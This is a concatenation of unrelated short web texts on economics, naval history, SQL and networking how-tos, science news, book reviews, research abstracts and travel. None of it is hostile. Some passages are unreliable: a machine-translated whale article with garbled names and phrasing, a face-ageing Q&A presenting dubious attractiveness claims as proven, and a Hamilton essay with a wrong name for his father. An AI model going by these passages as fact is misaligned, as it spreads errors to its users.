The basic difference between fixed investment and inventory investment is the type of goods on which investment is to be made. Firstly, Fixed investment refers to expenditure on investment in capital goods. On the contrast, inventory investment refers to the expenditure incurred on investment in stock.
To know the difference between these two, we must clear the meaning of these terms:
The Content covered in this article:
Meaning of Fixed Investment:-
It refers to the increase in the stock of fixed assets of the producers during a year. In other words, it can be described as the expenditure incurred by producers on purchase of long term assets or capital goods during the year. For example, Plant and machinery, Furniture and Building etc.
It can be calculated as:
Fixed investment during the year = Stock of fixed assets at the end of the year – Stock of fixed assets in beginning of the year
Let's assume, a producer has a stock of 20 machines at the beginning of year i.e. 1st Jan 2020. On 31st December 2020, he has a stock of 35 machines. Thus, the fixed assets stock of producer is increased by 15 machines during the year.
Therefore, fixed investment during the year 2020 = 15 machines.
Due to this, fixed investment is also known as Fixed capital formation. Thus, It means the increase in capital in terms of fixed assets which are used in the process of production for several years.
Meaning of Inventory Investment:-
It refers to the change in the stock of finished, semi-finished and raw material during a year. Here, the finished goods refer to the final goods ready to sale or unsold. And, Semi-finished goods include goods which are in the process of production. Thus, The stock of these goods is known as Inventory stock. It keeps on varying with the passage of time. Hence, the change inventory stock during the year is known as inventory investment of producers.
It can be calculated as:
Inventory investment during the year = Inventory stock at the end of the year – Inventory stock at the beginning of the year.
Let's assume the producer has 1,25,000 units of inventory stock including finished, semi-finished goods and raw material at the beginning of year i.e. 1st Jan 2020. On 31st December 2020, he has 2,25,000 units of inventory stock with him. Thus, the inventory stock of producer is increased by 1,00,000 units.
Inventory stock during the year = 1,00,000 units.
Chart of Difference between Fixed investment and inventory investment:
|Basis of Difference||Fixed Investment||Inventory Investment|
It refers to expenditure incurred on the purchase of fixed assets or capital goods.
|It refers to expenditure incurred on the purchase of raw material, semi-finished or finished goods.|
|Purpose||Here, the purpose is to continue further production.||Here, the purpose is to meet the demands of consumers in case of shortage.|
Can be known as
|It can also be known as Capital investment.||It can also be known as Working Capital investment.|
|Here, the investment can be considered as expenditure on long term assets.||And, this investment can be considered as expenditure on income yielding short term assets.|
Resale of assets
|In this type of investment, the assets are not meant to be resold at any period of time.||Here, the inventory is not meant to be resold immediately but stays in stock to raise inventory level.|
|The stock of fixed assets at the end of the year – Stock of fixed assets in beginning of the year||Inventory stock at the end of the year – Inventory stock at the beginning of the year.|
|In short, It leads to a higher rate of economic growth.||Generally, It avoids the uncertainties related to price and availability of raw material.|

Strike Fighter Squadron 14
The Strike Fighter Squadron 14 (VFA-14) "Tophatters" are a United States Navy fighter attack squadron based at Naval Air Station Lemoore. They fly the F/A-18E Super Hornet, and are the Navy's oldest active squadron, having formed in 1919. Their callsign is Camelot, and their tail code is NG. Since its inception the squadron has flown 23 different type aircraft, had its designation changed fourteen times, operated from 20 different aircraft carriers (and several battleships) and had 81 commanding officers (the 82nd is now in command).Over the years the squadron has been assigned many different missions, including patrol and observation in its early years, and scouting, attack, fighter, bombing and forward air control missions when it became associated with carrier-based operations. The squadron adopted the classic Top Hat as its squadron patch and called themselves the "High Hats".

How to check if a table already exists in the database with MySQL with INFORMATION_SCHEMA.TABLES.?
MySQLMySQLi Database
In order to check if a table already exists in the database by using MySQL, you can use INFORMATION_SCHEMA.TABLES. Following is the syntax −
SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'yourDatabaseName'
AND TABLE_NAME = 'yourTableName';
Let us implement the above syntax in order to check if a table already exists in the database.
Case 1: When the table is present −
mysql> SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'sample'
AND TABLE_NAME = 'DemoTable';
This will produce the following output −
+--------------+
| TABLE_NAME |
+--------------+
| DemoTable |
+--------------+
1 row in set (0.01 sec)
Case 2: When the table is not present −
mysql> SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA= 'sample'
AND TABLE_NAME= 'DemoTable2';
This will produce the following output −

Research partnership may transform lives of vulnerable children
This year, after a highly competitive process, the Melbourne School of Population Health (MSPH) was awarded one of three 'Research and Evaluation Partnerships' with the Department of Education and Early Childhood Development (DEECD).
The partnership is a unique collaboration between government policy makers and public health and education researchers that could transform the lives of many vulnerable Victorian children. The two other partnerships were also awarded to the University of Melbourne.
The partnership is a new way of doing business for the department and involves researchers and policy makers sharing their respective areas of expertise, with the aim of developing strong evidence-based policies – policies that could enable children to develop to their full potential.
Associate Professor Andrea de Silva-Sanigorski, of the McCaughey Centre at MSPH, says the close partnership between DEECD and three University of Melbourne entities is one of many innovative aspects of the program.
The program's combined efforts will develop a multi-dimensional picture of children's lives, she says, starting from very early childhood, through school years and entry into the workforce, examining a range of outcomes spanning health, well-being, development and learning.
MSPH is focusing on early childhood through three projects that will:
- Link and analyse existing data
- Generate new evidence through innovative research and
- Strengthen the use of evidence in making decisions and policy.
The ambitious, three-year program started in July 2011 and unites DEECD with the Melbourne Graduate School of Education, the Melbourne Institute of Applied Economic and Social Research, as well as MSPH. Associate Professor Andrea de Silva-Sanigorski is partnership director and Professor Terry Nolan and Professor Elizabeth Waters lead the MSPH partnership.Dr Peter Kremer is also part of the project team.
Project 1, 'Establishing an integrated data platform for monitoring and assessing child health, wellbeing, development and learning', is the first of three projects in the first phase of the partnership. "A key aspect of Project 1 by MSPH is making better use of monitoring and surveillance data sets that the Government already collects through sources like the maternal child health service and schools, which are used for the reporting of top line measures that the Government requires," she says. "But these are rich data sources that could be better utilised for planning, resource allocation, and research, evaluation and population monitoring."
Project 2, 'A detailed, prospective cohort study of early childhood factors and child outcomes', will expand two existing early childhood research cohorts to investigate health and development issues. It will examine the contribution of early life risk and protective factors on outcomes throughout childhood.
Project 3, 'Early childhood services which shape primary school educational outcomes', will focus on the service sector. "It will investigate questions such as 'what impact does the quality of kindergarten teachers or child care staff have on learning outcomes as a child gets older?', as well as other services such as health and welfare."
"Alongside this data work is a comprehensive program of activities to enhance research and evaluation capacity with government," she says. "Each of the research partners will provide training and support for policy makers on how to gather and interpret research evidence.The policy and decision makers in turn will guide researchers in relation to how policies are developed and what format we need to provide the research evidence to them for it to be used in policy-making processes."
"We are laying the groundwork for improving the lives of children in the years ahead," she says. "That's our hope. That by creating an evidence base that can inform decision-making processes we will have better outcomes for children, families, settings, services and the wider community," she says. "Through this approach we can try to reduce developmental health inequalities that, once established, are hard to change and can have lifelong impacts on children's trajectories."

This is a tool that is used by the Microsoft PSS team to analyze PSSDiag data. This tool has the capability of loading the Profiler Traces collected (provided ReadTrace is installed on the box).
In addition to this, it also loads the other.OUT files and the PerfStats script output file into the Nexus database. I use this tool regularly to analyze PSSDIAG data due to the following reasons:
1. Saves me time from manually opening each file and looking through them
2. Based on the graphs provided in the reports, I can quickly drilldown to the major bottleneck
The SQL Nexus reports act as a brilliant guide when you are analyzing PSSDIAG for the following scenarios:
1. High CPU
3. High IO
4. General Performance Problems
Since, the SQL Nexus Reports use Reporting Services client-side report viewer, you can create your own reports to work against the Nexus database and then deploy them to the %appdata%/SQL Nexus/Reports folder. Once, this is done, the new reports would show up along with the defult reports every time SQL Nexus is launched.
What are the advantages of this tool?
1. Shows aggregation reports for the Profiler Traces loaded into it
2. Blocking and wait statistics information based on the PerfStats script output. This helps in analyzing blocking on the server
3. Since, the data collected are loaded into tables, you can run queries against the database to draw inferences. If you use these queries frequently enough, you can create your own reports and deploy them to the above mentioned location
4. You can export the data from the SQL Nexus Reports into files (.XLS,.PDF,.JPG etc) and send them as reports
5. The reports let you narrow down to specific time frames which makes analysis easier

Alexander Hamilton was indeed an American significant figure who contributed greatly to the United States however; his transition from his rough childhood to his dignified adulthood ultimately portrays Hamilton as a more profound significant character. Alexander Hamilton was born on January 11, 1755 on the Caribbean island of Nevis ("Alexander Hamilton",Wagner, Christopher). His parents were James Hilton, an unsuccessful businessman, and Rachael Fawcette Lavien ("Alexander Hamilton",Wagner, Christopher ). Alexander was of illegal birth because his mother who was divorced from her first husband John Michael Lavien on June 25, 1759 was forbidden to remarry under Danish Law("Alexander Hamilton",Wagner, Christopher ). In 1765, the family moved to St. Croix, Virgin Islands in hope of a better life. Soon after, when Alexander was nine his father abandoned his family. Rachel supported herself and her two boys by opening a store in which Alexander became a part time clerk ("Alexander Hamilton",Wagner, Christopher ). It is here that Alexander began to learn about finance on a small scale foreshadowing his future life in economics. Soon thereafter at the age of eleven, his mother died in 1768 of Yellow fever("Alexander Hamilton",Wagner, Christopher ). Alexander and his brother then went to go live with his mother's cousin, Peter Lytton who accepted guardianship for them for one year, until he become too distraught over the death of his wife and committed suicide("Alexander Hamilton").

Wild Bottlenose Dolphins: Research Shows They Can Be Stuck Up
August 1, 2012
Image Credit: Photos.com
Lee Rannals for redOrbit.com — Your Universe Online
Talk about stuck up, new research shows that bottlenose dolphins form elite societies and cliques.
Scientists found that wild bottlenose dolphins bond over the use of tools, with distinct cliques and classes forming over decades as a result of their skills. The research suggests that humans are not the only animal species that understand what its like to be picked last in gym class.
According to the findings, the dolphins in the communities share their knowledge only with those in their own circle, passing it down the family line.
Georgetown University noticed that some dolphins in Shark Bay, Australia used a sponge to protect their beaks while hunting, and others did not. The team wanted to understand why the practice had not spread.
They found the tool was first used by a single dolphin nicknamed "Sponging Eve," after she scraped her nose while foraging for food in rough sand. The dolphin broke off a piece of sea sponge to protect her, and taught the behavior to her offspring.
Two decades later, the knowledge of using a sponge to protect noses spread among the whole dolphin population in the area.
Scientists found 36 spongers and 69 non-spongers in the area over a 22 year period.
"Spongers were more cliquish, had more sponger associates and stronger bonds with each other than with non-spongers," the researchers wrote in the journal Nature
Communications. "Like humans who preferentially associate with others who share their subculture, tool-using dolphins prefer others like themselves, strongly suggesting that sponge tool-use is a cultural behavior," they continued.
Scientists suggest that the dolphins may have a tendency to associate with those most like themselves.
"We sometimes think that traits such as culture are exclusively human, but a growing body of literature proves otherwise," Janet Mann, the team leader, wrote in the journal.
The researchers believe that the cliques are formed for social reasons, rather than for practical reasons.
"As sponging is a solitary behavior, affiliation between spongers would not be based on collective foraging, but rather on identifying other individuals as spongers," they wrote in the journal. "We suggest that spongers also share in-group identity, but affiliation is a consequence of similarity in the socially learned trait, a scenario that resonates with human culture."
The researchers said that spongers were more cliquish, had more sponger associates and stronger bonds with each other than those dolphins that were non-spongers.
The study also found that the behavior was stronger in females, which were better at maintaining alliances.
The dolphin sub-cultures are believed to be the result of socially-learned behavior rather than innate traits.

Quick Answer: Does Your Face Change Everyday?
What makes a face look older?
This is all because of the skin's elasticity.
With age, the skin becomes thinner and it stretches.
Does your face change throughout the day?
Subtle environmental changes such as your immediate diet can alter the look of your face. The face that we see is an image composed of our diet, genetics, and day to day habits. Every day, hormones are produced, blood sugar is regulated, and food is metabolized. This is known as homeostasis.
Why does my face look backwards in photos?
One major factor is that photos generally show us the reverse of what we see in the mirror. When you take a photo of yourself using some (but not all) apps or the front-facing camera on an iPhone, the resulting image captures your face as others see it. The same is true for non-phone cameras.
Why does your skin look better in the morning?
Peer-reviewed studies have found that your skin is actually thicker in the morning than at night, and wrinkles are less pronounced in the morning as well. … While there's no doubt that adequate sleep will make you feel and look less tired, wrinkles can't heal overnight.
Why do I look worse in the morning?
Originally Answered: Why does my face look ugly in the morning? Gravity. Sleeping distorts your face just as getting up resets your face to normal. … For young people, sometimes they just sleep AFTER the shoot.
Can puberty change your face?
What makes a girl's face attractive?
Because we know that real beauty is on the inside. The contrast between skin and eye/lip colors can affect attractiveness. A woman's face is perceived as more feminine and young if her eyes and lips are highlighted. … Faces with a straight nose look more symmetrical, thus they are perceived to be more attractive.
Does your face keep changing?
As we age, our faces go through a number of changes. Those changes happen to a number of facial structures to varying degrees. The extent that any one change causes aging will differ from person to person. … Let's take a look at some of the facial structures and how they change and affect appearance as we age.
Why does your face change when you wake up?
When you lie down at night, fluid accumulates in your head more than usual because gravity is no longer pulling it down back into your body. … When you get up in the morning and are upright again, it takes a little while for gravity to drain the fluid levels back to your normal upright equilibrium.
Why do I look tired after sleeping?
At what age do women's looks fade?
Most women really start to lose their beauty when they approach, 50, but most men do also. Weight, lack of fitness and little physical activity leads to loss of appearance for most. Some girls lose beauty before thay are 20 and some women retain their beauty into their mid 70s.
How can a girl get a jawline?
Which face shape is best for female?
Narrow forehead and jawline with cheekbones at the widest point of the face. Dr De Silva said: 'This is the most desirable face shape for a woman. It is incredibly feminine and elegant. Megan is one of the great screen beauties of her age and she has a symmetrically perfect diamond-shaped face.
Why did my face change so much?
Our faces change primarily due to the soft tissue or fat component in our faces. If you look at the faces of young people, regardless of weight, their faces are full and full of convexities! As we age the fat in our faces dissipates and also descends southward or down due to aging of the structures and gravity.
At what age does your face change most?
Do chubby cheeks go away with age?
Buccal Fat and Chubby Cheeks Usually, the size of the fat pads diminishes with age. Some people might develop a leaner, more shapely face by their teens, but others might still have prominent, chipmunk cheeks into their 30s, 40s or even older.
What is the most attractive face shape?
The Face Shape That Wins Hearts But the heart shape, otherwise more commonly known as a V-shaped face, has been scientifically proven to be the most visually attractive face shape to have.
Is it possible to change your face shape naturally?
It's possible to change your the shape of your face. "All men and women have seven fundamental face shapes," says Dr Shome. … But more often than not, people, both men and women, are not satisfied with the facial shape nature has bestowed on them.

It turns out that whales are preying on fish using stealth action and rush attack
Humpback whales prey on large amounts of fish every day, but humpback whales swim only fast enough for humans to jog, and far less than fast fish can escape. It turns out that such humpback whales are able to swallow a school of small fish with a clever predation technique that strikes the emptiness of the fish.
Predator-informed looming stimulus experiments reveal how large filter feeding whales capture highly maneuverable forage fish | PNAS
Study finds whales use stealth to feed on fish
A research group by Stanford University biologist David Cade et al. Has a camera on humpback whales living off Monterey Bay and off southern California to investigate why humpback whales that swim so fast can prey on quick small fish. And examined how humpback whales prey on food.
Using data such as the reaction speed of the small fish obtained from the survey and the number of small fish that escaped from the rush, we modeled how the small fish responded to the approach of the predator, and the humpback whale We simulated what was going on when predating on a PC. As a result, it was confirmed that the anchovy did not evade until the moment when the humpback whale opened. This means that when an anchovy notices the presence of a predator, it is just before entering the humpback whale's mouth.
In a further simulation, Kade and colleagues found that the anchovy uses the apparent magnification of the approaching object as a criterion when visually detecting the approach of a predator. 'We have been under threat from predators for at least 100 million years, and small fish have evolved to be able to quickly detect the approach of predators,' said Caid. It is now possible to respond to the approach of relatively small predators, but it is not able to respond to the predatory behavior of humpback whales that open up immediately before predation and seem to suddenly become huge ''.
by David Mark
Kade estimates that it was about 5 million years ago that humpback whales sneaked into the school of fish and opened their mouths before rushing to open their lungs. This means that humpback whales can now prey on 30-60% of the school of fish with a single rush foraging.
Past studies have shown that whales have grown rapidly since 4.5 million years ago, and may have something to do with having acquired rushing foraging.
Whales have grown very rapidly recently, and why? -GIGAZINE
They also found that hunting for humpback whales is a very efficient method of hunting. Rush foraging, which increases its speed after opening its mouth, requires a very large amount of energy because of the resistance of water. On the other hand, krill, one of the humpback whale feeds, is a small plankton that can be easily predated without rushing foraging. However, when Cade and his colleagues compared the energy consumed per predation to the energy gained from predation, it was seven times more energy efficient to eat small fish by rush-feeding than to feed on krill. It was.

For sustainability of vital services, there is a need to understand the billing mechanisms and opportunities to generate revenue. A super bill is an invoice used by health care providers with detailed Services provided to a patient. It provides a data source for health care claims to be submitted to payers such as insurances or funds. Super bills provide options for taking payments and for providing all information necessary. The purpose of using a super bill is to break down a patient's bill to enable insurers to properly review, process, and cover claims. Unlike an invoice, a super bill has additional information such as diagnosis. For a bill to become a super bill, a client is supposed to provide additional elements to the normal basics such as certain specifications, codes, and details for the insurance provider to fully assess the charges.

How to Find out What Is Taking up Space on an iPhone (4 Steps)
By C. Taylor
The Apple iPhone has a finite amount of memory that must house photos, videos, music, apps and data. Without memory card support, you can't simply change cards to create storage space. Therefore, you'll eventually need to clean the iPhone to create space for new apps or files. The first step in creating space is knowing what is taking up the most space on the device.
Step 1
Tap "Settings" from the iPhone's home screen.
Step 2
Tap "General" and then "Usage."
Step 3
Look in the "Storage" section to see which apps and file types use the most space. The list is in descending order by the amount of memory used, so the top-most apps use the most space. If you need to see more than the top 10 memory-consumers, tap "Show All Apps."
Tap any listed item to see further details of its memory usage.

Genetics and Sociality
Researchers show in the journal "PNAS" how friends can relieve stress
Social support from family and friends is one of the most powerful protective factors against stress-related diseases - from heart attacks to depression. Prof. Markus Heinrichs, Professor of Biological Psychology at the University of Freiburg, demonstrated in 2003 for the first time in humans that the neurohormone oxytocin plays a central role in both the control of stress and the stress-reducing effect of social support. He has also shown in a series of studies that oxytocin administered as a nasal spray increases trust and empathy for others and therefore has therapeutic potential for a range of mental disorders.
But could the oxytocin system also help explain why support from close friends and family has very different effects on individuals?
In the current issue of the prestigious scientific journal Proceedings of the National Academy of Sciences (PNAS), the Freiburg psychologists and neuroscientists Prof. Markus Heinrichs, Dr. Frances S. Chen, Dr. Robert Kumsta, and Dr. Bernadette von Dawans, together with the researchers Prof. Richard P. Ebstein and Dr. Mikhail Monakhov of the National University of Singapore, examined for the first time genetic modulation of social support's effectiveness during stress through variants of the oxytocin receptor gene (OXTR). The hormonal and subjective stress responses of 200 adults to a standardized social stress test were studied; half of the sample was asked to bring a close friend for support. "The presence of a friend during preparation for the test reduced stress in most people; interestingly, however, the group of people carrying a particular variant of the oxytocin receptor gene did not benefit from the support" said Frances S. Chen. For Markus Heinrichs, these results have far-reaching consequences for current research on new therapeutic approaches: "The 'psychobiological therapy' we are currently developing involves a completely new combination of oxytocin and psychotherapy for mental disorders involving social deficits – here, it is of great relevance to understand how 'sensitive' this system is in different patients."

In brief: The World Before Us; Cunning Women; When Time Stopped – reviews
Tom Higham
Viking, £20, pp296
It is received wisdom that humanity is descended from the Neanderthals, and that they were the only prehistoric humanoid race. As archaeology professor Tom Higham convincingly argues in this fascinating and deeply researched book, this is a simplification of the facts that verges on the misleading. Instead, Higham draws on new information to describe a previously unknown race of humans – the Denisovans – and their contemporaries, an eclectic variety of beings who include, wonderfully, a tiny island-dwelling race known as "the hobbits". Higham conveys the thrill of archaeological discovery eruditely and accessibly.
Elizabeth Lee
Windmill, £14.99, pp368
In 1620s Lancashire, Sarah Haworth and her family are believed to be "cunning", a euphemism for witches. Their neighbours publicly shun them while privately seeking their counsel and medical expertise. Yet the Pendle witch trials, organised by the zealous forces of the patriarchal law, seek to expose anyone "other", and so Sarah and those she loves are confronted with a terrifying reckoning. Elizabeth Lee's debut novel is timely in its depiction of hysteria and persecution, and beautifully evokes a historical period poised between dark ignorance and long-overdue enlightenment.
Ariana Neumann
Scribner, £8.99, pp353
Ariana Neumann's memoir is based around a simple but vital question: how far can we really know our own families? When her father, Hans, died, he left behind a collection of papers that led her to discover his past as a Czechoslovakian Jew, and the extraordinarily resourceful manner in which he escaped the deportation and murder that befell most of his family. Neumann's father presented himself as a willing collaborator, while taking care to sabotage the German war effort from within. This fascinating and moving book is a fine testament to him.

Texas Core Competencies for Early Childhood Practitioners and Administrators
Core competencies refer to specific, basic concepts, skills and abilities that early childhood professionals should learn, understand and be able to demonstrate. Core competencies are the foundation of a professional development system.
In Texas, we have developed core competencies for Practitioners and Administrators, with the intent of providing guidance to professionals seeking training and for trainers seeking training topics. Below you will find a list of the Core Competency Areas pertaining to each group. For a complete list of the observable competencies that fall under each area, please visit TECPDS to download the full Core Competencies document in English or Spanish.
Early childhood practitioners are those professionals (regardless of early childhood setting) who provide direct instruction and/or care to young children. Common job titles for practitioners include: teacher, assistant teacher, provider, and caregiver. Practitioners may use the Core Competencies as a self-assessment tool or checklist.
Early childhood program administrators are those professionals who are responsible for planning, managing, implementing, and evaluating early childhood programs. Common job titles include: center director, site manager, school administrator, program manager, coordinator, and principal. Administrators may use the Core Competencies to identify areas of need, create targeted professional development plans for the entire staff or individual practitioners, and to evaluate the appropriateness of training offerings.
Core Competencies Training Modules
Throughout the Texas Core Competencies for Early Childhood Practitioners and Administrators training, you will learn about the core competencies found in the Texas Core Competencies for Early Childhood Practitioners and Administrators document, developed by the Texas Head Start State Collaboration Office (THSSCO), in collaboration with the Texas Early Learning Council (TELC). This training was designed for use by early childhood professionals to improve the quality of care and education young children receive. The content and structure of the competencies can be thought of as a framework for assessing knowledge and skills, guiding training and professional development opportunities, and monitoring progress.
The Core Competencies are very important to the early childhood field of practice. Demonstrating ability and excellence in any profession requires the mastery of different competencies related to the job. There are concepts, practices, and knowledge that early childhood practitioners and administrators must know and be able to demonstrate in order to be effective in facilitating children's growth and development.
Core competencies are defined as an individual's demonstrated skills and abilities. The Texas Core Competencies for Early Childhood Practitioners and Administrators document lists observable skills that, when accomplished, demonstrate competency in a particular area of knowledge.
Upon completing this training, you will be able to:
- Identify the core competency areas;

text: The resistive switching behaviors of sputtered V-doped SrZrO3 (V:SZO) memory films were investigated in this letter. The current states of the memory films were switched between high current state (H-state) and low current state (L-state). The resistance ratio of the two current states was over 1000 at a read voltage. The switching mechanism from L- to H-state corresponds to the formation of current paths. However, this mechanism from H- to L-state is thought to be due to the fact that the defects present in the V:SZO film randomly trap electrons, and hence, the current paths are ruptured. The conduction mechanism of the H-state is dominated by ohmic conduction, whereas the L-state conduction is dominated by Frenkel-Poole emission. The polarity direction of the resistive switching is an intrinsic property of the SrZrO3 oxides. The V:SZO films with high uniformity and good stability are expected to be used in nonvolatile memory.

This qualitative study explored the interactions between social class background and the professional identity development in the lives of 10 working class graduate students pursuing their doctoral degrees in community and or clinical psychology. The rationale for this study was based on three assumptions. First, social class is a primary feature in the development of a professional identity. Second, social class is a primary determinant in who will pursue a doctoral degree as well as how this goal will be pursued and achieved. Third, social class is a primary influence on how and where an individual will choose to practice psychology after graduation. Theliterature review examined research
and literary works related to the objective and subjective experiences of early social class membership and its effects on personal, social, and professional identity development. The narrative data gathered from both individual and group interviews was examined utilizing qualitative analysis; Seven primary themes emerged from the data illustrating family relationships, formative class-based familial beliefs, attitudes, and values, community relationships, experiences of social marginalization and belonging, experiences related to the decision to pursue a higher education, experiences related to class background within the system of higher education, and class-based character, values, and life skills that remain primary to the participants' personal and professional identities. Social class background was found to be a primary factor in the participants'
professional identity development. Class-based character attributes, values, and
interpersonal skills were sited by the participants as central to their initial attraction to and fit within the discipline of psychology. Differences in class culture experienced both in graduate school and in the work environment were experienced most intensely in terms of language, communication styles, and social awkwardness related to different social norms and mores. The assumption that social class background is a primary determinant in the pursuit of a doctoral degree was complimented by the life stories of the study's participants. Class-related experiences in the lives ofthe participants also served as a powerful influence on their career choices.

Risk Behavior-Based Trajectory Prediction for Construction Site Safety Monitoring
Construction sites are often described as some of the most hazardous work environments due to the unscripted nature of tasks which puts workers and equipment in close proximity, potentially resulting in near-miss situations or life-threatening contact collisions. Previous research has investigated location-aware methods to improve construction safety but has mostly fallen short in exploring the extent to which prediction techniques can be used to model and formulate the role and attributes of individual workers in addition to the physical characteristics of the jobsite that may lead to safety incidents. This paper studies the feasibility of a preemptive proximity-based safety framework by investigating two trajectory prediction models, namely polynomial regression (PR) and hidden Markov model (HMM). The HMM prediction is further calibrated by factoring in a worker's risk profile, which is a measure of his or her affinity for or aversion to risky behavior near hazards. The method is tested in a series of field experiments involving trajectories of different shapes and complexity. Results demonstrate that the developed methodology can reliably detect unsafe movements and impending collision events.

basic QinQ configuration on Huawei switches
In traditional 802.1Q protocol, service provider should assign different VLAN IDs to users of different VLANs. The numer of VLANs is limited to 4094 IDs. In addition, different users cannot use the same VLAN ID.
A simple method to solve this is to implement QinQ. The QinQ technology improves the utilization of VLANs by adding another 802.1Q tag to a packet with an 802.1Q tag. In this manner, services from the private VLAN can be transparently transmitted through the public network. The ISP network only provides one VLAN ID for different VLANs from the same user network. This saves VLAN IDs of an ISP. Meanwhile, the QinQ provides a simple Layer 2 VPN solution to a small MAN or a local area networks.
QinQ tunneling on Huawei switches
Let's assume that we have two enteprise networks. Each enterprise has two branch offices, located in different cities. As an ISP, we cannot force these enterprises to use different VLAN planning. In our case, both use VLAN 10 and our task is to transparently transmitt traffic, through ISP network, between remote offices.
What we want to achieve is to ensure communication between remote offices of each enterprise and to block communication between Enterprise_1 and Enterprise_2. We can use basic QinQ tunneling in this case. It adds the same outer VLAN tag to all the frames entering a Layer 2 port.

Use of forcible means
When on duty, the police have the right in certain situations to use forcible means that can be considered justifiable. In determining this justifiability, the factors considered include the importance and urgency of the duty, the dangerousness of the resistance being shown and the available resources.
The police are entitled to use forcible means in order to
Only the minimum necessary force is used. The lock to an apartment, for example, will not be broken unless this is urgently required. Instead, the police will acquire a key with which entry can be made without causing any damage.
Use of force is permitted in all types of police duties. While it is most commonly used in uniformed police duties, force may also be used by other police officers when, for example, apprehending offenders. Police officers, as indeed anyone else, also have the right of self-defence.

Gabala Lahic tour
During this tour you will visit one of the most unique villages in the world- Lahic village. Till 1982 there was almost no road to Lahic. Thats why Lahic almost stayed unbroken and unchanged for many hundred years
There is no exact data of the origin of the Lagich settlement and the chronicle of this place is based on the legend. According to one of them, Persian shah Kai Khosrow killed a respectable ruler of one of the cities in the struggle for power. It caused indignation of masses. In order to save own life, he fled the country. The shah found shelter in the mountains not far from current place of Lagich where he spent the rest of his life. The village was formed by his servants and their families from the tribe lagich, who settled near the shelter of their master. Gradually, the settlement expanded and turned into artisans center.
It was already then, hundred years ago, when copper became the main material of Lagich craftsmen. Local dwellers learned to melt it in their motherland, in Iran. In the new place, artisans developed their skills and established trade connections. Craftsmen workshops with melting stoves appeared on the territory of the village and the fame of beautiful and unique copper pieces spread around.
Big caravans from Turkey, Georgia, Armenia, Persia, and Dagestan started to pass across Lagich. Merchants would deliver food, copper, fabric to the village and would take back cold steel, souvenirs and other copper household items with themselves.
Road to Lahic is amazing. Just because of the road it worth to go there

AWS Data Pipeline
Developer Guide (API Version 2012-10-29)
Locating Error Logs
This section explains how to find the various logs that AWS Data Pipeline writes, which you can use to determine the source of certain failures and errors.
Pipeline Logs
We recommend that you configure pipelines to create log files in a persistent location, such as in the following example where you use the pipelineLogUri field on a pipeline's Default object to cause all pipeline components to use an Amazon S3 log location by default (you can override this by configuring a log location in a specific pipeline component).
Note
Task Runner stores its logs in a different location by default, which may be unavailable when the pipeline finishes and the instance that runs Task Runner terminates. For more information, see Verifying Task Runner Logging.
To configure the log location using the AWS Data Pipeline CLI in a pipeline JSON file, begin your pipeline file with the following text:
{ "objects": [ { "id":"Default", "pipelineLogUri":"s3://mys3bucket/error_logs" }, ...
After you configure a pipeline log directory, Task Runner creates a copy of the logs in your directory, with the same formatting and file names described in the previous section about Task Runner logs.
Hadoop Job and Amazon EMR Step Logs
With any Hadoop-based activity such as HadoopActivity, HiveActivity, or PigActivity you can view Hadoop job logs at the location returned in the runtime slot, hadoopJobLog. EmrActivity has its own logging features and those logs are stored using the location chosen by Amazon EMR and returned by the runtime slot, emrStepLog. For more information, see View Log Files in the Amazon EMR Developer Guide.

Biosphere 2, privately funded ecological research project in which eight people lived sealed in a 3.15-acre (1.28-hectare) structure for two years (Sept. 26, 1991–Sept. 26, 1993). Located in Oracle, Ariz., about 35 mi (56 km) north of Tucson, and designed to depend on the outside only for electricity and sunlight, Biosphere 2 was intended to test the feasibility of a self-sustaining space colony. It contained over 3,500 plant and animal species and attempted to reproduce five ecosystems (see ecology)—desert, grassland, marsh, ocean, and rain forest. The human inhabitants (four men and four women) were to grow all their food and recycle their wastes, but used some seed stocks as food. The project's validity was questioned by scientists who criticized the plan to use outside electricity, the presence of stores of food and animal feed, and other aspects. A decline in the oxygen level led to the pumping of oxygen into the complex in 1993. A second crew entered Biosphere in Mar., 1994, but various disagreements and allegations of mismanagement made by the chief financial backer, Edward Bass, finally led to the abandonment of attempts at self-sufficient living. From 1995 to 2003 the management of the project was taken over by Columbia Univ., which used the facility for education and scientific research on environmental issues.

Dressing Up Trolleys
Dressing up trolleys are essential in an early years setting. They are perfect for hanging role play clothes or even art aprons and coveralls. Without one children are likely to throw their discarded clothes on the floor. And that does not promote good and tidy housekeeping habits in children.
Children throw themselves into dressing up because it is fun and engaging. Learning to dress up and engage in role play is something they can do on their own or with a friend. Communicating with each other is key and getting encouragement from peers is also inspiring.
It is important children are allowed to express themselves through role play because it encourages creativity and imagination. Are they going to be a princess? Or are they going to be a knight in shining armour? Perhaps they may be a ballerina or a football player? Whilst it is important children have an outlet for their creativity, likewise they need somewhere that clearly defines the imaginative area.
And don't forget the humble Dressing Up Trolley offers more than a place to hang clothes and aprons. For example, many designs come with useful storage and trays. Always handy in a busy early years environment. And the wire mobile cloakroom storage trolley remains a firm favourite with its storage tray and coat hooks.
So dressing up trolleys definitely keep clothes neat and tidy. Yet they denote the area for role play and imaginative play as well.
A reminder of the key benefits:
- inspire creativity and imagination
- provide useful hanging and storage space
- allow dressing up clothes to be kept neat and tidy
- define a specific area within the classroom

The Chinese satellite manufacturer and constellation operator, Changguang Satellite Technology (CGST), has successfully demonstrated space-to-ground high-speed laser communications. This breakthrough could help China overcome data transmission bottlenecks and significantly improve the speed and efficiency of getting data from space down to the ground.
The test was conducted using CGST's Jilin-1 MF02A04 remote sensing satellite in cooperation with the Aerospace Information Research Institute (AIR) of the Chinese Academy of Sciences (CAS). CGST is an offshoot of the state-owned Changchun Institute of Optics, Fine Mechanics and Physics (CIOMP), which is under the umbrella of CAS.
During the test, the connection speeds achieved an ultra-high-speed of 10 Gbps, which is a significant improvement compared to the previous best of 1 Gbps using radio frequency transmissions. This breakthrough signals numerous advancements in key technologies and marks the first ultra-high-speed (10Gbps) application for commercial purposes in China.
CGST, established in 2014, currently operates 108 remote sensing satellites in orbit. The company plans to expand its Jilin-1 constellation to include 300 satellites by the year 2025. With this technology, CGST aims to enhance its data transmission capabilities and support a wide range of applications, including remote sensing and Earth observation.
